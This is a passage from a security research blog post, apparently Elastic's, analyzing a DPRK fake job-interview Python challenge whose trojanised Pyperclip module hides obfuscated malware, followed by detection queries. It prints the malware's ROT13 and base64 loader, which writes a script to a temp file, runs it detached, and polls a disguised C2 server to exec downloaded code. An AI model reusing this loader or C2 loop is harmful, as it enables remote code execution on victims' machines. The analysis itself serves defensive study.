else:\n res_str = response.text\n if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) \u003e 15:\n res = response.text\n borg = res[10:]\n dec_res = base64.b64decode(borg).decode('utf-8')\n\n globals()['pu_1'] = uid\n globals()['pu_2'] = url\n exec(compile(dec_res, '', 'exec'), globals())\n sleep(1)\n break\n else:\n sleep(20)\n pass\n\n except:\n sleep(60)\n continue\n```\n\n**Encoded Python script main while loop**\n\nThe first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.\n\nElse, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using `exec(compile(dec_res, '', 'exec'), globals())`. This allows the attacker to send arbitrary Python code to be executed on the victim's machine.\n\nTowards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.\n\nNow that we understand the purpose of the encoded Python script let's go back to the `__inity__.py` script and break down the function that executes the base64-encoded section. \n\n##### __inity__.py\n\nBack within the `__inity__.py` script we can look for any other reference to the `req_self` variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as `cert_acc`. \n\n```\ndef cert_acc():\n ct_type = platform.system()\n l_p = tempfile.gettempdir()\n\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n l_p = l_p + codecs.decode('\\\\eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_opr, stream_method) + l_p\n else:\n l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_ops, stream_method) + l_p\n\n request_query = open(l_p, 'w')\n request_object = base64.b64decode(req_self)\n request_query.write(request_object.decode('utf-8'))\n request_query.close()\n try:\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)\n else:\n subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)\n except:\n pass\ncert_acc()\n```\n\n```\nct_type = platform.system()\n```\n\nThis variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the `platform.system()` function. The value is stored in the `ct_type` variable.\n\n```\nl_p = tempfile.gettempdir()\n```\n\nThis variable calls the `tempfile.gettempdir() function`, which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to `l_p`.\n\nThe `if-else` block takes advantage of the codecs library decode function using ROT13 to decode the string `Jvaqbjf`, which translates to `Windows`. This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be `\\eronfr.gzc`, `\\rebase.tmp` after decoding) to the temporary directory path `l_p`. It then constructs a command `header_ops`, which likely combines the decoded `push_opr` variable (also using ROT13) with the path.\n\nIf the system is not Windows, it appends a Unix-like file path `/eronfr.gzc` (`/rebase.tmp` after decoding) and similarly constructs a command using `push_ops`. This part of the code is designed to run different payloads or commands depending on the operating system.\n\n```\nif ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n l_p = l_p + codecs.decode('\\\\eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_opr, stream_method) + l_p\n else:\n l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_ops, stream_method) + l_p\n```\n\nThe next several statements, starting with `request_`, serve to write the Base64-encoded Python script we have already analyzed to` disk in the temporary directory. This code opens a new file in the temporary directory (`l_p`), which was previously set depending on the system type. The variable `req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.\n\n```\nrequest_query = open(l_p, 'w')\n request_object = base64.b64decode(req_self)\n request_query.write(request_object.decode('utf-8'))\n request_query.close()\n```\n\nThe function's final `try` block facilitates the execution of the encoded Python script.\n\nIf the system type is Windows, the code attempts to execute the file (constructed in `header_ops`) using the `subprocess.Popen function`. The `DETACHED_PROCESS` flag ensures that the process runs independently of the parent process, making it harder to track.\n\nIf the system is not Windows, it runs the file using a different execution method (`subprocess.Popen` with `shell=True`), which is more common for Unix-like systems (Linux/macOS). The `preexec_fn=os.setpgrp` makes the process immune to terminal interrupts, allowing it to run in the background.\n\n```\ntry:\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)\n else:\n subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)\n except:\n pass\n```\n\nThe `cert_acc` function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.\n\nThe script within the `Pyperclip` package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system’s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine. \n\n#### Campaign intersections\n\nWhen we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild. \n\nThis lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we’ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as “[CovertCatch](https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists).”\n\nThe next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as “[KandyKorn](https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn)” that targeted CryptoCurrency developers and engineers.\n\n## Detection, Hunting and Mitigation Strategies \n\nDetecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness. \n\nThe best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from “recruiters”, “developer forums”, “Github”, etc., will provide a strong foundation of defense against these attacks. \n\nRegarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well. \n\n### [Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection\n\n```\nsequence by process.parent.entity_id with maxspan=3s\n[process where event.type == \"start\" and event.action == \"exec\" and process.parent.name : \"python*\"\n and process.name : (\"sh\", \"zsh\", \"bash\") and process.args == \"-c\" and process.args : \"python*\"]\n[network where event.type == \"start\"]\n```\n\n![Sequence based Behavior Rule detection](/assets/images/dprk-code-of-conduct/image3.png \"Sequence based Behavior Rule detection\")\n\nThis rule looks for the specific behavior exhibited when the `__init__.py` sample writes the obfuscated Python script to disk and utilizes the `subprocess.Popen` method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands. \n\n### [Hunt] Python Executable File Creation in Temporary Directory\n\n```\nfile where event.type == \"modification\" and file.Ext.header_bytes : (\"cffaedfe*\", \"cafebabe*\")\n and (process.name : \"python*\" or Effective_process.name : \"python*\") and file.path : (\"/private/tmp/*\", \"/tmp/*\")\n```\n\nIf the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python. \n\n### [Hunt] Interactive Shell Execution via Python\n\n```\nprocess where host.os.type == \"macos\" and event.type == \"start\" and event.action == \"exec\" \nand process.parent.name : \"python*\" and process.name : (\"sh\", \"zsh\", \"bash\")\n and process.args == \"-i\" and process.args_count == 2\n```\n\nThe threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.\n\n### [Hunt] Suspicious Python Child Process Execution\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and process.parent.name : \"python*\"\n and process.name : (\"screencapture\", \"security\", \"csrutil\", \"dscl\", \"mdfind\", \"nscurl\", \"sqlite3\", \"tclsh\", \"xattr\")\n```\n\nThe threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.\n\n## Conclusion and Future Trends\n\nAs we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.\n\nTheir use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.\n\nOur deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.\n\nAs state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.\n\nAs we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.\n\n\n### Resources\n\n* [Fake recruiter coding tests target devs with malicious Python packages](https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages)\n* [Threat Assessment: North Korean Threat Groups](https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/)\n* [DeFied Expectations — Examining Web3 Heists | Google Cloud Blog](https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists)\n* [Elastic catches DPRK passing out KANDYKORN — Elastic Security Labs](https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn)\n","code":"var Component=(()=\u003e{var l=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),y=(n,e)=\u003e{for(var i in e)s(n,i,{get:e[i],enumerable:!0})},c=(n,e,i,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of u(e))!g.call(n,o)\u0026\u0026o!==i\u0026\u0026s(n,o,{get:()=\u003ee[o],enumerable:!(r=p(e,o))||r.enumerable});return n};var b=(n,e,i)=\u003e(i=n!=null?l(m(n)):{},c(e||!n||!n.__esModule?s(i,\"default\",{value:n,enumerable:!0}):i,n)),w=n=\u003ec(s({},\"__esModule\",{value:!0}),n);var d=f((k,a)=\u003e{a.exports=_jsx_runtime});var P={};y(P,{default:()=\u003ex,frontmatter:()=\u003ev});var t=b(d()),v={title:\"Code of Conduct: DPRK\\u2019s Python-fueled intrusions into secured networks\",slug:\"dprk-code-of-conduct\",date:\"2024-09-18\",description:\"Investigating the DPRK\\u2019s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.\",author:[{slug:\"colson-wilhoit\"}],image:\"dprk-code-of-conduct.jpg\",category:[{slug:\"malware-analysis\"},{slug:\"attack-pattern\"},{slug:\"security-research\"}],tags:[\"python\",\"dprk\"]};function h(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",img:\"img\",h3:\"h3\",code:\"code\",h4:\"h4\",h5:\"h5\",strong:\"strong\",pre:\"pre\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"Few threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This versatile programming language, prized for its accessibility and power, has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on \",(0,t.jsx)(e.a,{href:\"https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages\",rel:\"nofollow\",children:\"research published\"}),\" by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.\"}),`\n`,(0,t.jsx)(e.li,{children:\"These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"rookerycapital_pythontestzip\",children:\"RookeryCapital_PythonTest.zip\"}),`\n`,(0,t.jsx)(e.p,{children:\"This sample is distributed under the guise of a Python coding challenge for a \\u201CCapital One\\u201D job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Using encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.\"}),`\n`,(0,t.jsx)(e.p,{children:\"We'll analyze this Python application line by line, uncovering how it:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Establishes a connection to a malicious server\"}),`\n`,(0,t.jsx)(e.li,{children:\"Executes hidden commands via remote code execution (RCE)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Uses common obfuscation techniques to fly under the radar\"}),`\n`,(0,t.jsx)(e.li,{children:\"Embeds persistent retry mechanisms to ensure successful communication\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image5.png\",alt:\"DPRK Python initial access execution flow\",title:\"DPRK Python initial access execution flow\",width:\"1999\",height:\"1775\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"passwordmanagerpy\",children:\"PasswordManager.py\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This \\u201CPython Challenge\\u201D is provided via a \",(0,t.jsx)(e.code,{children:\".zip\"}),\" file containing a Python application called \\u201CPasswordManager\\u201D. This application primarily consists of a main script, \",(0,t.jsx)(e.code,{children:\"PasswordManager.py\"}),\", and two Python modules, \",(0,t.jsx)(e.code,{children:\"Pyperclip\"}),\" and \",(0,t.jsx)(e.code,{children:\"Pyrebase\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image1.png\",alt:\"PasswordManager Application Contents\",title:\"PasswordManager Application Contents\",width:\"344\",height:\"574\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Examining the \",(0,t.jsx)(e.code,{children:\"README.md\"}),\" file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image4.png\",alt:\"Excerpt from \\u201CPasswordManager\\u201D application README file\",title:\"Excerpt from \\u201CPasswordManager\\u201D application README file\",width:\"1196\",height:\"286\"})}),`\n`,(0,t.jsx)(e.p,{children:\"This was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The main \",(0,t.jsx)(e.code,{children:\"PasswordManager.py\"}),\" file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (\",(0,t.jsx)(e.code,{children:\"Pyperclip\"}),\" and \",(0,t.jsx)(e.code,{children:\"Pyrebase\"}),\") into this main script.\"]}),`\n`,(0,t.jsx)(e.h4,{id:\"pyperclip-module\",children:\"Pyperclip module\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"Pyperclip\"}),\" module has two files, \",(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" and \",(0,t.jsx)(e.code,{children:\"__main__.py\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image2.png\",alt:\"Pyperclip module files \",title:\"Pyperclip module files \",width:\"280\",height:\"124\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In Python, modules often consist of multiple files, with two important ones being \",(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" and \",(0,t.jsx)(e.code,{children:\"__main__.py\"}),\". The \",(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" file initializes a Python package, allowing it to function when imported, while the \",(0,t.jsx)(e.code,{children:\"__main__.py\"}),\" file allows the module to be run as a standalone program.\"]}),`\n`,(0,t.jsxs)(e.h5,{id:\"initpy\",children:[(0,t.jsx)(e.strong,{children:\"init\"}),\".py\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., \",(0,t.jsx)(e.code,{children:\"pbcopy\"}),\" for macOS, \",(0,t.jsx)(e.code,{children:\"xclip\"}),\" for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The imports reveal potentially interesting or suspicious functionality from libraries such as \",(0,t.jsx)(e.code,{children:\"base64\"}),\", \",(0,t.jsx)(e.code,{children:\"codecs\"}),\", \",(0,t.jsx)(e.code,{children:\"subprocess\"}),\", and \",(0,t.jsx)(e.code,{children:\"tempfile\"}),\". The \",(0,t.jsx)(e.code,{children:\"base64\"}),\" module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with \",(0,t.jsx)(e.code,{children:\"codecs\"}),\", another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The presence of the \",(0,t.jsx)(e.code,{children:\"subprocess\"}),\" module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The inclusion of the \",(0,t.jsx)(e.code,{children:\"tempfile module\"}),\" is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import contextlib\nimport ctypes\nimport os\nimport platform\nimport subprocess\nimport sys\nimport time\nimport warnings\nimport requests\nimport datetime\nimport platform\nimport codecs\nimport base64\nimport tempfile\nimport subprocess\nimport os\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.strong,{children:[(0,t.jsx)(e.strong,{children:\"init\"}),\".py imports\"]})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Analyzing the script a large base64 encoded blob assigned to the variable \",(0,t.jsx)(e.code,{children:\"req_self\"}),\" quickly stands out.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`req_self = \"aW1wb3J0IHN0\\u2026.Y29udGludWUNCg==\"\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Decoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"obfuscated-python-script\",children:\"Obfuscated Python Script\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The script imports several standard libraries (e.g., \",(0,t.jsx)(e.code,{children:\"requests\"}),\", \",(0,t.jsx)(e.code,{children:\"random\"}),\", \",(0,t.jsx)(e.code,{children:\"platform\"}),\"), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import string\nimport random\nimport requests\nimport platform\nfrom time import sleep\nimport base64\nimport os\nimport codecs\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Encoded Python script imports\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The script contains two functions named \",(0,t.jsx)(e.code,{children:\"co\"}),\" and \",(0,t.jsx)(e.code,{children:\"rand_n\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"co\"}),\" function operates as a helper function. This function checks the current operating system (\",(0,t.jsx)(e.code,{children:\"osn\"}),\"). It uses the \",(0,t.jsx)(e.code,{children:\"codecs.decode\"}),\" function with ROT13 encoding to decode the string \",(0,t.jsx)(e.code,{children:\"Jvaqbjf\"}),\", which results in \",(0,t.jsx)(e.code,{children:\"Windows\"}),\". If the operating system is Windows, it returns \",(0,t.jsx)(e.code,{children:\"0\"}),\"; otherwise, it returns \",(0,t.jsx)(e.code,{children:\"1\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`def co(osn):\n if osn == codecs.decode('Jvaqbjf', 'rot13'):\n return 0\n else:\n return 1\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.strong,{children:[(0,t.jsx)(e.code,{children:\"co\"}),\" function within encoded Python script\"]})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Decoding ROT13 can easily be done on the macOS or Linux CLI or with the \",(0,t.jsx)(e.a,{href:\"https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)\u0026input=SnZhcWJqZg\u0026oeol=CRLF\",rel:\"nofollow\",children:\"ROT13 CyberChef recipe\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ echo \"Jvaqbjf\" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'\nWindows\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"rand_n\"}),\" function generates an 8-digit pseudorandom number from the string \",(0,t.jsx)(e.code,{children:\"123456789\"}),\". This is likely used as an identifier (\",(0,t.jsx)(e.code,{children:\"uid\"}),\") in further communication with the remote server.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`def rand_n():\n _LENGTH = 8\n str_pool = \"123456789\"\n result = \"\"\n for i in range(_LENGTH):\n result += random.choice(str_pool)\n return result\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.strong,{children:[(0,t.jsx)(e.code,{children:\"rand_n\"}),\" function within encoded Python script\"]})}),`\n`,(0,t.jsx)(e.p,{children:\"Following the function declarations, the script defines a set of variables with hardcoded values it will use.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`uid = rand_n()\nf_run = \"\"\noi = platform.system()\nurl = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')\nheaders = {\"Content-Type\": \"application/json; charset=utf-8\"}\ndata = codecs.decode('Nznmba.pbz', 'rot13') + uid + \"pfrr\" + str(co(oi))\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Encoded Python script variables\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"uid\"}),\": Random identifier generated using \",(0,t.jsx)(e.code,{children:\"rand_n()\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"oi\"}),\": The operating system platform\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"url\"}),\": After decoding using ROT13, this resolves to a URL for a malicious server (\",(0,t.jsx)(e.a,{href:\"https://akamaitechnologies%5B.%5Donline\",rel:\"nofollow\",children:\"https://akamaitechnologies[.]online\"}),\"). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"data\"}),\": This is the data payload being sent to the server. It includes a decoded string (\",(0,t.jsx)(e.code,{children:\"Amazon[.]com\"}),\"), the random uid, and the result of \",(0,t.jsx)(e.code,{children:\"co(oi)\"}),\" which checks if the OS is Windows.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The last part of the script is the main while loop.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`while True:\n try:\n response = requests.post(url, headers=headers, data=data)\n if response.status_code != 200:\n sleep(60)\n continue\n else:\n res_str = response.text\n if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) \u003e 15:\n res = response.text\n borg = res[10:]\n dec_res = base64.b64decode(borg).decode('utf-8')\n\n globals()['pu_1'] = uid\n globals()['pu_2'] = url\n exec(compile(dec_res, '', 'exec'), globals())\n sleep(1)\n break\n else:\n sleep(20)\n pass\n\n except:\n sleep(60)\n continue\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Encoded Python script main while loop\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Else, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using \",(0,t.jsx)(e.code,{children:\"exec(compile(dec_res, '', 'exec'), globals())\"}),\". This allows the attacker to send arbitrary Python code to be executed on the victim's machine.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Towards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Now that we understand the purpose of the encoded Python script let's go back to the \",(0,t.jsx)(e.code,{children:\"__inity__.py\"}),\" script and break down the function that executes the base64-encoded section.\"]}),`\n`,(0,t.jsxs)(e.h5,{id:\"initypy\",children:[(0,t.jsx)(e.strong,{children:\"inity\"}),\".py\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Back within the \",(0,t.jsx)(e.code,{children:\"__inity__.py\"}),\" script we can look for any other reference to the \",(0,t.jsx)(e.code,{children:\"req_self\"}),\" variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as \",(0,t.jsx)(e.code,{children:\"cert_acc\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`def cert_acc():\n ct_type = platform.system()\n l_p = tempfile.gettempdir()\n\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n l_p = l_p + codecs.decode('\\\\\\\\eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_opr, stream_method) + l_p\n else:\n l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_ops, stream_method) + l_p\n\n request_query = open(l_p, 'w')\n request_object = base64.b64decode(req_self)\n request_query.write(request_object.decode('utf-8'))\n request_query.close()\n try:\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)\n else:\n subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)\n except:\n pass\ncert_acc()\n`})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`ct_type = platform.system()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the \",(0,t.jsx)(e.code,{children:\"platform.system()\"}),\" function. The value is stored in the \",(0,t.jsx)(e.code,{children:\"ct_type\"}),\" variable.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`l_p = tempfile.gettempdir()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This variable calls the \",(0,t.jsx)(e.code,{children:\"tempfile.gettempdir() function\"}),\", which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to \",(0,t.jsx)(e.code,{children:\"l_p\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"if-else\"}),\" block takes advantage of the codecs library decode function using ROT13 to decode the string \",(0,t.jsx)(e.code,{children:\"Jvaqbjf\"}),\", which translates to \",(0,t.jsx)(e.code,{children:\"Windows\"}),\". This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be \",(0,t.jsx)(e.code,{children:\"\\\\eronfr.gzc\"}),\", 